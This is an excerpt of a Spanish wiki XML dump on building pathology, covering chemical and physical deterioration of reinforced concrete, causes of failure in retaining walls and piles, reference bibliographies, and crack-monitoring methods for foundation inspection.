[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Acciones químicas|Acciones Químicas sobre Hormigón Armado (común para todas las secciones)]]

*Un factor fundamental es la presencia de agua, tanto liquida como en vapor, puesto que sin la existencia de este componente no se produce disolución ni reacción química. Es decir, el agua es el mecanismo principal.
*Transporte de la sustancia agresiva puede ser por aire.


====Aniones====

:'''Sulfatos'''
:Ataque del ión sulfato compuesto en sales, a componentes del cemento, sobre todo aquellos que son expansivos.La expansión de los iones sulfato, dependerá en gran medida de la intensidad de la rea ción y a los diferentes factores: 
:*Cantidad de aluminato en el cemento
:*Solubilidad del sulfato
:*Tipo de catión unido al sulfato (sodio, magnesio, calcio, etc.)
:*Permeabilidad del hormigón
:*Temperatura

:Tensiones provocadas por la expansión del hormigón.La expansión dependerá DE:
:*Condiciones de exposición
:*Cantidad de sustancias agresivas
:*Susceptibilidad del hormigón
:*Tipo de cemento empleado y sus componentes internos
:*Permeabilidad del hormigón
:*Cantidad de agua 
:*Temperatura

:Durante el proceso de curado en el fraguado, en su estado plástico antes del endurecimiento se produce la expansión y no provoca las tensiones necesarias para evitar un posterior ataque externo.En caso de estructuras en contacto con el agua marina, el daño dependerá de su situación:
:*Zona totalmente sumergida
:*Zona con oscilación de nivel
:*Intervención de efectos físicos -- oleaje
:*Saturación 
:*Desecación cristalizando las salen en los poros.
:*Zona de evaporación
:*Expansión progresiva de las sales con el contacto del aire debido al efec-to de evaporación.


:'''Ataque de cloruros'''
:Formación del cloruro cálcico tras reaccionar con otros cationes.
:Presencia del cloruro sódico (sal común). Creación de cristales provocando tensiones internas.

:'''Nitratos'''

:'''Sulfuros'''  

:'''Carbonatos'''
	

====Cationes: Magnesio y Amonio====

* Liberación de hidróxidos magnesio y amonio.
* Ataque de fertilizantes con presencia de amonio en temperaturas cálidas y alta humedad.


====Ácidos==== 

* Ataque lento, debido a que es el fluido el agresor, cuando se introduce en el interior del hor-migón por el proceso de porosidad.
* Transformación de compuestos sales cálcicas.
* La intensidad del ataque varía según la concentración de pH y de la solubilidad de las sales cálcicas creadas.
* Presencia de orgánicos como: 
** Peligrosos: ácido sulfúrico, ácido sulfuroso, ácido nitroso, ácido clorhídrico, ácido sulfhídrico, ácido carbónico, etc.
** Agresivos: ácido acético, ácido láctico
** Débil: ácido húmico


====Aguas puras====

* Erosión de tipo químico por lavado más o menos continúo.
* Surgidas del agua de deshielo. Son aguas con escasez de sales disueltas, pero cuya con gran poder de disolución, variando su agresividad dependiendo de su pureza. Alto poder de captar cales.
* Manifestación de ácidos, si el agua es blanda.


====Alcali-áridos====

* Reacción entre áridos que contengan sílice reactiva y cementos cuya concentración es alta en álcalis. Variara según la humedad relativa del ambiente y la tensión mecánica a la cual esta sometida el hormigón.  


====Áridos Sulfuroso====

* Aparición de piritas (contención de hierro) y áridos sulfurosos combinados con hierro (sulfuro de hierro). 
* Auto pulverización del sulfuro en contacto con el aire, sobre todo en ambientes con mucho viento y bastante soleamiento.


====Presencia de otros compuestos químicos====

* Hidróxido sódico
* Ácido láctico 
* Aceites y grasas
* Aguas residuales: 
* Fertilizantes, etc. 


====Acciones de Corrosión de la Armadura====

* Producido en estructuras expuestas a ambientes marinos, industriales o cualquier otro que provoque deterioro en la armadura. Varios niveles:

**Pérdida de sección en las barras principales del 1%.
**Pérdida de 5%
**Pérdida del 25%
**A partir del 25%, las barras dejan de trabajar a compresión ni pandean.

Tipos de corrosión: 

*'''Oxidación''': En la superficie de la armadura con el contacto del oxigeno del aire, pero sin existir reacciones de oxidación-reducción.

*'''Corrosión electroquímica o galvánica:''' Diferencia de potencial que aparece cuando se ponen en contacto eléctrico dos metales diferentes, zonas con distintas estructuras cristalinas, etc.

*'''Corrosión localizada o generalizada:'''  Efecto corrosivo de forma homogénea en toda su superficie, provocando herrumbre.
:- Fisuración, disgregaciones y pérdida de adherencia con las barras de acero.
:- Lluvias ácidas o descenso de pH.
 
*''' Corrosión por picadura:'''
:- Acciones de los iones cloro, bromo y sulfato. Despasivando al acero.
:- Varían según la concentración de cloruros en las barras.
:- La velocidad de corrosión dependerá de las condiciones climatológicas.
:- Formación de herrumbre, por suficiencia de oxigeno.
:- Presencia de iones cloro en el proceso de construcción en la obra, por estar cerca de un ambiente adecuado para ello.


[[Imagen:Henry Collen - Princesa Feodora de Leiningen.jpg|thumbnail|right|Proceso de Carbonatación]]

====Carbonatación==== 

:La carbonatación es el proceso por el cual el hormigón de recubrimiento pierde la alcalinidad que mantiene protegida la armadura. El mecanismo por el cual se produce es la reacción del dióxido de carbono la atmósfera con las sustancias alcalinas de la solución de los poros y con los componentes hidratados del hormigón. Esto genera un descenso del pH hormigón por debajo de un valor crítico situado alrededor de 9,5. A partir de dicho valor no se puede garantizar la protección de la armadura.Se trata de un caso especial de ataque ácido.

:[[Patología de la edificación/Conceptos generales/Definiciones/Hormigón Armado/Carbonatación|Ver Carbonatación en Definiciones]]
:[[w:es:Carbonatación|Ver Carbonatación en Wikipedia]]


=== AGENTES  MECANISMOS FÍSICOS === 
[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Acciones físicas|Acciones Físicas sobre Hormigón Armado (común para todas las secciones)]]

'''ACCIÓN DEL HIELO -  DESHIELO'''

* Utilización Hormigones situados en la intemperie en climas donde la temperatura desciende con frecuencia a grados bajo cero.
* Incremento del volumen del agua dentro del hormigón. Sustitución del aire en los poros abiertos por el agua, provocando la expansión y tensiones interiores en el hormigón.
** Agotamiento tras sufrir las tensiones provocadas por la presión capilar interior.
** Saturación del hormigón tras una continua alternancia de heladas y desheladas.
			
'''AGUA A ALTA VELOCIDAD'''

* Desgaste por erosión de los sedimentos en suspensión que lleva consigo el agua en su mo-vimiento.
* Colisión y succión tras la implosión de las burbujas de agua en las irregularidades de la su-perficie del hormigón.

'''ABRASIÓN DE SÓLIDOS'''

* Producida por el rozamiento continuo de los elementos que rozan la superficie del hormigón.
* Acciones de percusión de objetos o partículas sólidas en la adherencia entre la pasta y el árido.

''' CHOQUE TÉRMICO'''

=== DAÑOS ACCIDENTALES Y EXTRAORDINARIOS ===
[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Daños accidentales y extraordinarios|Daños Accidentales y Extraordinarios sobre Hormigón Armado (común para todas las secciones)]]

Aparte de las acciones permanentes y variables previsibles, que actúan en una estructura, tener en cuenta las acciones exteriores eventuales. Por norma general, los deterioros accidentales suelen ser de carácter natural, de corta duración y mínima probabilidad de que se produzcan. Sin embargo, las causas extraordinarias no son naturales y son casos excepcionales de difícil predicción. 

Considerar el tipo de acción y analizando lo que pueda suceder.

'''DAÑOS ACCIDENTALES'''

*De origen natural:
** Sismos
** Inundaciones 
** Corrimiento de tierras
** Efecto de choque de olas
** Inundación de terrazas
** Empuje de tierras
** Efecto de las raíces de los árboles

'''DAÑOS EXTRAORDINARIOS''' 

*Difícil pronóstico, debido a que no son naturales:
** Explosiones 
** Impacto de proyectiles
** Impacto de vehículos 
** Fuego: afecta a las características resistentes y de deformación, tanto del hormigón como del acero. A su vez, se generan incrementos de tensión causados por las dilataciones que se transmi-tan a los nudos rígidos. A mayor temperatura se disminuye la resistencia mecánica tanto de compre-sión como de tracción, aumentos importantes de su deformación de rotura y disminuciones notables de su modulo de deformación. En resumen, a mayor temperatura menor capacidad resistente pero capaz de experimentar deformaciones antes de romperse, variando las características físico-mecánicas.

== Defectos y mecanismos internos de los materiales y elementos ==

== Desórdenes constructivos ==


== Factores de riesgo ==

== Bibliografia ==

*'''Carles Broto:''' ENCICLOPEDIA BROTO DE PATOLOGÍAS DE LA CONSTRUCCIÓN. Barcelona 2005.  Biblioteca ETSAM: 69.059 bro-enc 1-6

*'''M.Fernández Cánovas:''' PATOLOGÍA Y TERAPEÚTICA DEL HORMIGÓN ARMADO. Colegio de Ingenieros de Caminos, Canales y Puertos, Madrid, 1994.  Biblioteca ETSAM: 691.3  FER pat	

*'''J. Calavera:''' CALCULO, CONSTRUCCIÓN Y PATOLOGÍAS DE FORJADOS EDIFICACIÓN. Intemac. 1988  Biblioteca ETSAM: 624.012 cal cal

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>l4an3eleo5jdy9z4undgblj0h0yniej</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Muros/Causas materiales y mecanismos de deterioro</title>
    <ns>0</ns>
    <id>13319</id>
    <revision>
      <id>430124</id>
      <parentid>75498</parentid>
      <timestamp>2026-08-02T11:44:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430124</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="4422" sha1="f2wfl5yylvl3b5s9fl2av9xdos9yoy1" xml:space="preserve">== CAUSAS ASOCIADAS A PROBLEMÁTICA Y LESIONES ESTUDIADAS EN MUROS DE CONTENCIÓN  ==


: - '''Giro excesivo del muro'''

Este problema se produce cuando el peso del alzado del muro, así como de la zapata, y del terreno que actúa sobre el talón de la misma no son suficientes para soportar el empuje de las tierras. Este factor se amplía en presencia de aguas en el terreno. Suele ocurrir cuando se construyen muros con anchura insuficiente para la contención de tierras, que una vez se satura el terreno de agua, ejerce empujes mayores que los que se habían considerado para su cálculo.

: - '''Desplazamiento del muro'''

Los deslizamientos suelen coincidir con un movimiento de un estrato superior respecto a otro inferior. Esto puede ocurrir debido al tipo de terreno (en rocas como pizarras), como a la presencia de agua. La causa que más favorece al desplazamiento de la estructura es la falta de rozamiento entre la base de la zapata del muro y el terreno que hay bajo él. Puede también estar provocado por una sobrecarga sobre el terreno natural como consecuencia del relleno que se vierte sobre él.

: - '''Desplazamiento profundo del muro'''

Esta problemática está asociada a la formación de una superficie de terreno profunda que desliza de forma más o menos circular. Es común que aparezca cuando existe una zona de tierras blandas bajo la cimentación. 

: - '''Deformación excesiva del alzado'''

Común en muros con poco espesor, debido a los empujes del terreno, que pueden estar provocados por una falta del cohesión o por la saturación del mismo, así como por la excavación en zonas próximas al muro.

: - '''Fisuración excesiva'''

Esta lesión puede ser de gravedad sobre todo si es especialmente profunda, debido a su falta de observación desde el exterior. 

: - '''Rotura por flexión'''

Se producen cuando el muro de hormigón no es lo suficientemente rígido aunque esté correctamente armado, debido sobre todo al empuje del terreno, tanto diferencialmente como sobre toda la superficie sobre la que actúa, por las causas anteriormente señaladas. Otra causa posible es la presencia de un tipo de arcillas, que son las expansivas, con gran tendencia a la dilatación debido al agua, y que ejercen unas solicitaciones muy considerables.

: - '''Rotura por esfuerzo cortante'''

Las causas son similares a las que se han nombrado para los esfuerzos de flexión. 

: - '''Rotura por esfuerzo rasante'''

Es también, como las anteriores una rotura debida a esfuerzos del terreno (presencia de agua, disminución de la cohesión, arcillas expansivas o rellenos), sin embargo tiene la particularidad de que se resuelve si el solape de las armaduras (forma de hacer que rellenos y zapatas funcionen como un elemento único) es suficiente, sin embargo si es insuficiente, podría causar mayores daños.

: - '''Rotura por fallo de solape'''

La causa coincide con la rotura por rasante. El solape de la armadura deberá ser correctamente calculado para soportar los empujes y hacer el muro rígido, ya que esta es la zona que mayores esfuerzos cortantes y de flexión sufre.

: - '''Asientos'''

Los asientos que más perjudican a las estructuras son los diferenciales, que se producen en zonas localizadas , por un descenso diferente entre dos puntos del edificio. Generalmente se deben a la aplicación de una tensión diferente a cada zona del terreno, así como a lavados del mismo, a empujes de arcillas expansivas o a las oquedades que se producirían en terrenos yesíferos, esto en cuanto a los terrenos. Sin embargo, en presencia del mismo terreno, un edificio cuyas cargas sean muy diferentes en distintas zonas pueden llegar a provocar este tipo de lesiones. Los asientos de conjunto son problemáticos, pero no tantos, a que los desplazamientos son generalizados y la estructura no sufre esfuerzos de ningún tipo.

: - '''Retracción hidráulica y térmica'''

Las causas de estas lesiones se encuentran en el propio fraguado del hormigón, favorecida por la escasez de armadura longitudinal, así como por las condiciones medioambientales del lugar en el que se erija el muro de contención.

: - '''Degradaciones del material por ataque del medio'''

Provocadas, como ya se ha señalado anteriormente, causadas por la presencia de grietas en el muro y agua en el terreno, que se filtraría por el interior de la estructura a través de las fisuras.

{{AutoCat}}</text>
      <sha1>f2wfl5yylvl3b5s9fl2av9xdos9yoy1</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Pilotes/Causas materiales y mecanismos de deterioro</title>
    <ns>0</ns>
    <id>13322</id>
    <revision>
      <id>430127</id>
      <parentid>75450</parentid>
      <timestamp>2026-08-02T11:44:37Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430127</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3078" sha1="ixh8ox493zjxkds4xf36ctjzvef44su" xml:space="preserve">== CAUSAS ==


Las causas que dan origen a problemas de patología en la construcción se pueden clasificar en 4 grupos:

: ▫ Las que se originan por '''errores de proyecto'''
: ▫ Las que surgen como '''defectos de ejecución'''
: ▫ Las derivadas por la '''modificación de las condiciones de entorno de la estructura'''
: ▫ Las motivadas por la '''variación de las hipótesis iniciales de cálculo''' (en base a las que se proyecto la estructura)


A su vez, dependiendo del carácter de su origen, las causas pueden clasificarse atendiendo a dos aspectos:

: - '''Causas intrínsecas'''
: Ligadas directamente a la interacción terreno-cimiento de la propia construcción

: - '''Causas extrínsecas o afecciones'''
: Asociadas a motivos externos a la propia construcción (actividad humana del entorno, que modifica a posteriori las condiciones originarias del terreno)


A continuación, aplicaremos este esquema de carácter general al caso particular de las cimentaciones profundas.


'''4.1.	CAUSAS INTRINSECAS'''


A)	''Errores de proyecto''
: •	Cimentación insuficiente o '''falta de capacidad portante''' del terreno
: •	Distribución '''heterogénea de las cargas''' o excesiva excentricidad
: •	'''Esfuerzos no contemplados'''
: •	'''Asientos calculados no tolerables''' por la estructura
: •	No consideración de '''esfuerzos parásitos en pilotes'''
: •	No consideración del '''efecto grupo en pilotes'''
: •	Desconocimiento de las '''características y comportamiento del suelo''', debido a la escasez de reconocimientos previos. Los terrenos más problemáticos a la hora de cimentar corresponden a:
:              -	Arcillas expansivas
:              -	Rellenos antrópicos
:              -	Yesos karstificados


B)	''Defectos de ejecución''
: •	'''Lavado del hormigón''' por presencia de aguas en movimiento
: •	'''Rotura''' de pilotes hincados o '''corte''' de pilotes entubados
: •	'''Errores de replanteo'''
: •	'''Falta de continuidad''' en las armaduras
: •	Deterioro de pilotes o pantallas debido a la '''mala calidad de los materiales''' constitutivos
: •	'''Problemas de fraguado''' bajo rasante


'''4.2.	CAUSAS EXTRINSECAS'''


A)	''Modificación de las condiciones de entorno por la actividad humana''
: •	'''Disminución de la capacidad de carga''' del cimiento o '''excesiva deformación del suelo''' debido a excavaciones en terrenos colindantes
: •	'''Alteraciones generales''' provocadas por la presencia de cargas adyacentes
: •	'''Variación de las condiciones de equilibrio''' del suelo provocada por efectos dinámicos o vibraciones
: •	'''Inestabilidades y deslizamientos''' inducidos
: •	'''Modificaciones del nivel freático''' y del contenido de humedad en el suelo


B)	''Variación de las hipótesis iniciales de proyecto''
: •	'''Incremento del número de plantas''' sobre o bajo rasante
: •	'''Variación de la actividad funcional''' (y consecuentemente de cargas)
: •	'''Incrementos de sobrecargas''' de uso
: •	'''Solicitaciones dinámicas''' de maquinaria

{{AutoCat}}</text>
      <sha1>ixh8ox493zjxkds4xf36ctjzvef44su</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Bibliografía</title>
    <ns>0</ns>
    <id>13349</id>
    <revision>
      <id>430147</id>
      <parentid>61545</parentid>
      <timestamp>2026-08-02T11:50:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430147</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2881" sha1="ndtf9z6v948dyu4uexllnrco0bjdbql" xml:space="preserve">- “LA REPARACION DE LA ESTRUCTURA”Mas-guindal Lafarga, A:L (1998);   Ed.Funf. Cult. COAM  (manuales técnicos nº2)  Madrid, 1998
- “”MANUAL DE INSPECCION TÉCNICA DE EDIFICIOS” Juan. Monjo Carrió y Luis. Maldonado Ramos (2001)  Ed. Munilla-Lería. Madrid.
- “PATOLOGÍA DE LOS CERRAMIENTOS Y ACABADOS ARQUITECTÓNICOS  ” Juan. Monjo Carrió. (1994)  Ed. Munilla-Lería. Madrid.
-“TEORIA Y RESTAURACIÓN DE LAS ESTRUCTURAS DE FÁBRICA” J. Herman (1995)Ed. Inst Juan de Herrera, ETSAM (UPM), Madrid, (1995)
- “ENCICLOPEDIABROTO DE PATOLOGÍAS DE LA CONSTRUCCION” (MATERIALES 1) Carlos Broto  Ed. 2005 
- “ESTRUCTURAS DEL LADRILLO“  publicaciones de la UNED,
- “ESCUELA DE LA EDIFICACION“  Ricardo Fombella Guillén.
- “CURSO DE REHABILITACIÓN. 7_CERRAMIENTOS Y ACABADOS”. COAM

- “PREVENCION Y SOLUCIONES EN PATOLOGIA ESTRUCTURAL DE LA EDIFICACION”. Manuel Muñoz Hidalgo.
- “EL MURO DE LADRILLO”. Fombella R.  Hispalyt 1992.
- “EFLORESCENCIAS”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
-“GUIA PARA EL ESTUDIOS DE VELOS Y EFLORESCENCIAS EN LADRILLOS DE CONSTRUCCION”. García Verduch, A.  Instituto Universitario de Tecnología Cerámica de Castellón, 1988.
- “CURSO DE FORMACION PARA COLOCADORES DE BLOQUE DE TERMOARCILLA®”
- “MANUAL PARA EL USO DEL BLOQUE TERMOACILLA”.
- “DIAGNOSIS Y CAUSAS DE PATOLOGIA EN LA EDIFICACION”. Manuel Muñoz Hidalgo.
- “PREVENCION Y SOLUCIONES EN PATOLOGIA ESTRUCTURAL DE LA EDIFICACION”. Manuel Muñoz Hidalgo.
- “INDUSTRIALIZACION Y PREFABRICACION DE ELEMENTOS RESISTENTES DE HORMIGON”. CEMCO.
- “CURSO DE ESPECIALIDAD EN CALCULO ESTRUCTURAL”. UPM.
- “EVALUACION DE LA CAPACIDAD RESISTENTE DE ESTRUCTURAS DE HORMIGON Y METODOS DE REHABILITACION
Y REFUERZO”. Curso INTEMAC.
- “LOS PILARES: CRITERIOS PARA SU PROYECTO, CALCULO Y REPARACION”.FLORENTINO REGALADO TESORO
- Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
- “CALCULO, CONSTRUCCION, PATOLOGIA Y REHABILITACION DE FORJADOS DE EDIFICACION”. J. Calavera.
- “DIAGNOSIS Y CAUSAS EN PATOLOGIAS DE LA EDIFICACION ”. Manuel Muñoz Hidalgo.
Artículo Forjados (Internet). Luis Vega Catalán.
- Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.
- Juan Monjo Carrió y Luis Maldonado Ramos. Manual de Inspección Técnica de Edificios. Ediciones Munilla-Lería. Madrid. 2002
- Juan Monjo Carrió. Patología de cerramientos y acabados arquitectónicos. Editorial Munila-Lería. Madrid. 1994
- Carlos Guigon Fernandez. La durabilidad de los materiales constructivos.
- Curso rehabilitación 5. La estructura. Servicio de publicaciones del COAM. 1984
- Pagina web http://www.ecoblend.com.ar

{{AutoCat}}</text>
      <sha1>ndtf9z6v948dyu4uexllnrco0bjdbql</sha1>
    </revision>
    <revision>
      <id>430148</id>
      <parentid>430147</parentid>
      <timestamp>2026-08-02T11:52:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430148</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2856" sha1="h7bkb1q8s6qsjs6ry5o0crk75so0c76" xml:space="preserve">*“LA REPARACION DE LA ESTRUCTURA”Mas-guindal Lafarga, A:L (1998);   Ed.Funf. Cult. COAM  (manuales técnicos nº2)  Madrid, 1998
*“”MANUAL DE INSPECCION TÉCNICA DE EDIFICIOS” Juan. Monjo Carrió y Luis. Maldonado Ramos (2001)  Ed. Munilla-Lería. Madrid.
*“PATOLOGÍA DE LOS CERRAMIENTOS Y ACABADOS ARQUITECTÓNICOS  ” Juan. Monjo Carrió. (1994)  Ed. Munilla-Lería. Madrid.
*“TEORIA Y RESTAURACIÓN DE LAS ESTRUCTURAS DE FÁBRICA” J. Herman (1995)Ed. Inst Juan de Herrera, ETSAM (UPM), Madrid, (1995)
*“ENCICLOPEDIABROTO DE PATOLOGÍAS DE LA CONSTRUCCION” (MATERIALES 1) Carlos Broto  Ed. 2005 
*“ESTRUCTURAS DEL LADRILLO“  publicaciones de la UNED,
*“ESCUELA DE LA EDIFICACION“  Ricardo Fombella Guillén.
*“CURSO DE REHABILITACIÓN. 7_CERRAMIENTOS Y ACABADOS”. COAM
*“PREVENCION Y SOLUCIONES EN PATOLOGIA ESTRUCTURAL DE LA EDIFICACION”. Manuel Muñoz Hidalgo.
*“EL MURO DE LADRILLO”. Fombella R.  Hispalyt 1992.
*“EFLORESCENCIAS”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
*“GUIA PARA EL ESTUDIOS DE VELOS Y EFLORESCENCIAS EN LADRILLOS DE CONSTRUCCION”. García Verduch, A.  Instituto Universitario de Tecnología Cerámica de Castellón, 1988.
*“CURSO DE FORMACION PARA COLOCADORES DE BLOQUE DE TERMOARCILLA®”
*“MANUAL PARA EL USO DEL BLOQUE TERMOACILLA”.
*“DIAGNOSIS Y CAUSAS DE PATOLOGIA EN LA EDIFICACION”. Manuel Muñoz Hidalgo.
*“PREVENCION Y SOLUCIONES EN PATOLOGIA ESTRUCTURAL DE LA EDIFICACION”. Manuel Muñoz Hidalgo.
*“INDUSTRIALIZACION Y PREFABRICACION DE ELEMENTOS RESISTENTES DE HORMIGON”. CEMCO.
*“CURSO DE ESPECIALIDAD EN CALCULO ESTRUCTURAL”. UPM.
*“EVALUACION DE LA CAPACIDAD RESISTENTE DE ESTRUCTURAS DE HORMIGON Y METODOS DE REHABILITACIONY REFUERZO”. Curso INTEMAC.
*“LOS PILARES: CRITERIOS PARA SU PROYECTO, CALCULO Y REPARACION”.FLORENTINO REGALADO TESORO
*Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
*“CALCULO, CONSTRUCCION, PATOLOGIA Y REHABILITACION DE FORJADOS DE EDIFICACION”. J. Calavera.
*“DIAGNOSIS Y CAUSAS EN PATOLOGIAS DE LA EDIFICACION ”. Manuel Muñoz Hidalgo.
*Artículo Forjados (Internet). Luis Vega Catalán.
*Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.
*Juan Monjo Carrió y Luis Maldonado Ramos. Manual de Inspección Técnica de Edificios. Ediciones Munilla-Lería. Madrid. 2002
* Juan Monjo Carrió. Patología de cerramientos y acabados arquitectónicos. Editorial Munila-Lería. Madrid. 1994
*Carlos Guigon Fernandez. La durabilidad de los materiales constructivos.
* Curso rehabilitación 5. La estructura. Servicio de publicaciones del COAM. 1984
* Pagina web http://www.ecoblend.com.ar

{{AutoCat}}</text>
      <sha1>h7bkb1q8s6qsjs6ry5o0crk75so0c76</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Inspección y control</title>
    <ns>0</ns>
    <id>13354</id>
    <revision>
      <id>430115</id>
      <parentid>222749</parentid>
      <timestamp>2026-08-02T11:43:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430115</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="36429" sha1="a2l3lr31evzvjf7ea5ah8tk34d9z2f0" xml:space="preserve">==INTRODUCCIÓN==

Las causas que originan problemas en la cimentación, como se ha visto en el apartado anterior, son muy variadas, por lo que una correcta inspección de un edificio debe proporcionarnos la suficiente información para poder justificar que las causas de las lesiones apreciadas proceden de problemas en la cimentación.

Un problema en la cimentación lleva consigo una serie de daños en el edificio: grietas, fisuras, desplomes, inclinaciones...los cuales deberemos estudiar como fase inicial de la inspección, así como recopilar la máxima información posible sobre el inmueble. Una vez conocidas con detalle las lesiones existentes y dispuestos los mecanismos para su medición y evolución en el tiempo, puede establecerse si las causas de las lesiones provienen de problemas en la cimentación. Para su comprobación deberá realizarse el reconocimiento de la cimentación y el estudio del suelo.

A continuación se desarrollarán las técnicas y herramientas para llevar a cabo una correcta inspección, tanto en obra, en laboratorio como en oficina técnica.

== EN OBRA ==

=== RECOPILACIÓN DE INFORMACIÓN ===

:En las primeras fases del estudio se deberá obtener toda la información posible acerca del inmueble que sufra la patología:

:* Las descripciones y testimonios de personas, usuarios o conocedores del edificio, que nos ayuden a estimar la fecha de aparición de los daños y si se encuentran en proceso evolutivo o estabilizado.

:* Conocer las modificaciones que haya sufrido el entorno inmediato del edificio ( excavaciones, recrecido o repavimentado de calles, introducción de redes de saneamiento, etc...), teniendo especial importancia las edificaciones que hayan estado adosadas a la que se quiere rehabilitar.

:* Investigar posibles modificaciones del nivel freático, como consecuencia de bombeo de pozos, supresión de actividades agrícolas, construcción de embalses, etc...

:* Siempre que sea posible se debe conseguir el proyecto original del edificio y todas las referencias históricas que puedan darnos alguna pista sobre usos anteriores, reparaciones, incendios, modificaciones estructurales o arquitectónicas, daños por terremoto o inundaciones.

:* Es importante conocer si existieron edificaciones anteriores que se demolieron para construir las existentes y las causas que llevaron a la ruina de aquellos.


=== INVENTARIO Y CONTROL DE DAÑOS ===

==== ''Medición de grietas y fisuras'' ====

:Las grietas y fisuras son las primeras manifestaciones de los asientos. Debemos realizar una inspección de la grieta describiendo tantas grietas como se encuentren y realizando fotos de las mismas para su estudio y consulta en la oficina técnica. Además será conveniente la representación de las mismas en planta o alzados definiendo los huecos de ventanas y puertas, ya que son las zonas más débiles y donde se acumulan las tensiones. Dentro de los métodos de control de las grietas más usuales podemos citar:
	

* '''Testigos de yeso'''
:Nos dan una idea de si las grietas o fisuras siguen sufriendo movimientos, pero sólo a nivel cualitativo. El método consiste en tapar con yeso una parte de la grieta por ambos lados, siendo las dimensiones aproximadas del testigo 12 x 6 x 0,6 cm. Es muy importante colocar el yeso sobre la “obra viva” (nunca sobre algún tipo de revestimiento, sea pintura, enlucido o revoco) y anotar en él la fecha en que ha sido colocado. De haberse producido la rotura del testigo se anotará la fecha en que se produjo la inspección y se procederá a colocar otro en su proximidad. De esta manera se podrá tener una idea sobre la velocidad con que se produce la deformación.

::''Ventajas''	
::El sistema de colocación es simple	
::Permiten que personas no especialistas tengan una idea clara de la evolución sufrida por el edificio.	
::Una fotografía de los testigos es un documento de importancia para la redacción de un informe.

::''Inconvenientes''
::El número de testigos no significativos es muy importante, en torno al 30-40%.
::No se les puede utilizar en el exterior, ya que se entumecen
::Determinar si un testigo está fisurado o no es muy subjetivo


* '''Testigos de vidrio'''

:Se utilizan cuando aparecen grietas en el exterior, sustituyendo a los testigos de yeso. Los testigos de vidrio consisten en un trozo de este material, de dimensiones aproximadas de 7×3×0'1cm, que se pega con adhesivo adecuado (resina) a los lados de la grieta. Son más sensibles a los movimientos que los testigos de yeso, lo que permite detectar movimientos a menos escala. Suelen dar más fallos que los testigos de yeso.


* '''Fisurómetros (manuales)'''
[[Archivo:Fisurometro_copia.jpg|200px|right|thumb|Fisurómetro]]
:Son instrumentos que permiten medir tanto los movimientos padecidos por una fisura (fisurómetros de regleta), como el espesor de una fisura (cuentahílos).

:* ''Fisurómetro de regleta:'' Regla de plástico compuesta por dos piezas que se sujetan cada una de ellas a uno de los dos lados de la fisura y que lleva incorporada una escala graduada que permite llevar un seguimiento de su evolución, con una precisión de 0,5 mm.
:* '' Cuentahílos:'' Instrumento que permite medir el grueso de la fisura con una precisión que puede llegar a ser de 0,1 mm. Posee una o dos lentes de aumento y una escala graduada impresa en un cristal. La medición se lleva a cabo sobreponiendo el cuentahílos en la fisura.

: Para evaluar el comportamiento de la grieta en obra, si no se dispone de los elementos anteriores, se realiza un fisurómetro empotrando clavos a los dos lados de la fisura y midiendo la distancia entre los elementos con un calibre convencional. 
::''Ventajas''
::Poco costoso	
::No tiene que quedar permanentemente en la obra.	

::''Inconvenientes''
::Hay que emplear un tipo de referencia que no pueda desplazarse y que tenga un lugar determinado sobre el que efectuar la medida. Una de las soluciones sería realizar una muesca en los clavos.

::[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Fisurómetros|Ver Fisurómetro en el Glosario]]


* '''Comparadores mecánicos (flexímetros y defórmetros)'''
[[Archivo:Deformetro_copia.jpg|200px|right|thumb|Defórmetro]]
:Se utilizan para un control óptimo de las grietas. Consiste en una pieza metálica extensible que posee un comparador en la parte central que capta las variaciones de longitud. La medición se realiza instalando dos tetones fijados permanentemente a uno y otro lado de la grieta y colocando los extremos del defórmetro sobre ellos. Se obtiene información sobre el aumento o disminución de la distancia que los separa. Para realizar la medición de los elementos en un plano, es necesario tomar lecturas entre tres puntos que formen un triángulo sobrepuesto a la fisura.

::''Ventajas''
::Sólo es necesario un operario durante su instalación.
::Con las lecturas efectuadas periódicamente puede hacerse una gráfica tiempo-incremento de las deformaciones.
::Es posible averiguar la incidencia de la temperatura sobre la dimensión de la grieta, para ello se toma la temperatura ambiente en el momento de la lectura y se descarta esta variable dentro de los incrementos totales medidos.

::''Inconvenientes''
::Elevado coste y el consiguiente riesgo de que desaparezca terminada la observación.
::Al sobresalir del muro es fácil que se les golpee y se pierda la información acumulada.
::Su extrema sensibilidad a los cambios térmicos.
